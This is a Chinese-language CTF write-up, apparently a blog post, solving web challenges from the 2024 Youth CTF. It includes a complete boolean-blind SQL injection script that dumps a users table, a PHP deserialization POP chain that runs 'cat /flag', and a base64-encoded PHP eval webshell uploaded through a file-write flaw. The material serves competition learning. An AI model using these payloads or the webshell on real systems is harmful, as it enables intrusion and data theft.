青少年ctf 2024

by:Infernity

Easy md5

需要我们上传两个md5相同的PDF文件。

新建一个空白PDF文件,拖到fastcoll里得到另外两个pdf文件,上传进去得到flag。

php的后门

是php 8.1dev版本漏洞

https://cloud.tencent.com/developer/article/1839234

图片.png

PHP的XXE

https://github.com/vulhub/vulhub/blob/master/php/php_xxe/README.md

图片.jpg

图片.jpg

直接照搬poc

Easy_SQLi

直接布尔盲注脚本一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import string
import requests

def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list # 返回字符列表

def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = {
'uname':'admin' + f"' and length(database()) like {num}#",
'psw' : 123456
}
r = requests.post(url=url,data=db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1

def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = {
'uname': 'admin' + f"' and (ord(mid(database(),{i},1)) like {ord(j)})#",
'psw': 123456
}r = requests.post(url=url, data=db_payload)
if str in r.text:
db_name += j
print(db_name)
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name


def tb_piece(db_name):
global tb_piece
print("开始测试%s数据库有几张表........" % db_name)
for i in range(10): # 猜解库中有多少张表,合理范围即可
tb_payload = {
'uname': 'admin' + f"' and {i} like (Select Count(Table_name) From Information_schema.tables Where table_schema like '{db_name}')#",
'psw': 123456
}
r = requests.post(url=url, data=tb_payload)
if str in r.text:
tb_piece = i
break
print(f"[+]{db_name}库一共有{tb_piece}张表\n")
tb_name(db_name, tb_piece) # 进行下一步,猜解表名

def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = {
'uname': 'admin' + f"' and (Select length(table_name) from Information_schema.tables Where table_schema like database() limit {i},1) like {j}#",
'psw': 123456
}
r = requests.post(url=url, data=tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = {
'uname': 'admin' + f"' and (Select ord(mid((Select table_name from Information_schema.tables Where table_schema like database() limit {i},1),{k},1))) like {ord(l)}#",
'psw': 123456
}
r = requests.post(url=url, data=tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数

def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = {
'uname': 'admin' + f"' and {j} like (Select count(column_name) from Information_schema.columns Where table_name like '{i}')#",
'psw': 123456
}
r = requests.post(url=url, data=column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list) # 进行下一步,猜解每张表的字段名

def column_name(table_list, column_num_list):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_payload = {
'uname': 'admin' + f"' and {j-1} like (Select length(column_name) from Information_schema.columns Where table_name like '{table_list[t]}' limit {i},1)#",
'psw': 123456
}
r = requests.post(url=url, data=column_payload)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = {
'uname': 'admin' + f"' and ord(mid((Select column_name from Information_schema.columns Where table_name like '{table_list[t]}' limit {i},1),{j},1)) like {ord(k)}#",
'psw': 123456
}
r = requests.post(url=url, data=column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
#print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list,) # 进行最后一步,输出指定字段的数据

def dump_data(table_list,column_name_list):
for l in range(1, 50): # l表示每条数据的长度,合理范围即可
for k in range(32,127):
data_payload = {
'uname': 'admin' + f"' and Ascii(Substr((Select {column_name_list[5]} from {table_list[0]} limit 0,1),{l},1)) like {k}#",
'psw': 123456
}
r = requests.post(url=url, data=data_payload)
if str in r.text:
character = chr(k)
print(character,end="")
break

if __name__ == '__main__':
url = "http://challenge.qsnctf.com:31695/login.php" # 目标url
str = "successful" # 布尔型盲注的true&false的判断因素
table_list=['users']
column_name_list=['USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS','id','username','password']
dump_data(table_list,column_name_list)

雏形系统

扫后台有个www.zip,备份文件 qsnctf里有这么一段代码:

1
2
3
4
5
<?php



?>

这是php混淆解密,拿到在线工具上解密出来是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

error_reporting(0);
class shi{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}

class wo{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen'){
echo $this->intention;
}
echo "🙅18岁🈲";
}
}

class Demo{
public $a;
static function __callStatic($action, $do){
global $b;
$b($do[0]);
}
}

$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo"){
echo("登录成功");


这才进入正题

最后的出口一定是在 $b($do[0]); 这个方法从全局变量 $b 获取一个函数,并用 $do[0] 作为参数调用这个函数。进入 __callStatic 魔术方法,需要静态调用类中不存在的方法。

而 shi 类中将 $this->next 替换为对象demo,即可触发,那么需要进入 __tostring 这个就很熟悉了

pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class shi{
public $next;
public $pass='cat /flag';
}

class wo{
public $sex='boy';
public $age='eighteen';
public $intention;
}

class Demo{
public $a;
}

$w=new wo;
$s=new shi;
$d=new demo();
$s->next=$d;
$w->intention=$s;

echo serialize($w);
?>

这里的$do则为 cat /flag ,$b是一个全局变量,再看回上面的源码。$b是用户输入的password,那就直接打payload就可

图片.jpg

新翔OA管理系统

可以找到www.zip,审计源码发现,前台任意文件写入,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

在/uploadbase64.php 中 POST传入imgbase64 并未限制后缀 先base64解码 然后 file_put_contents 写文件

post传入:

1
imgbase64=data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7

然后得到文件地址,进入该地址,即可执行命令。


青少年ctf 2024
http://example.com/2024/02/29/青少年ctf-2024/
作者
Infernity
发布于
2024年2月29日
许可协议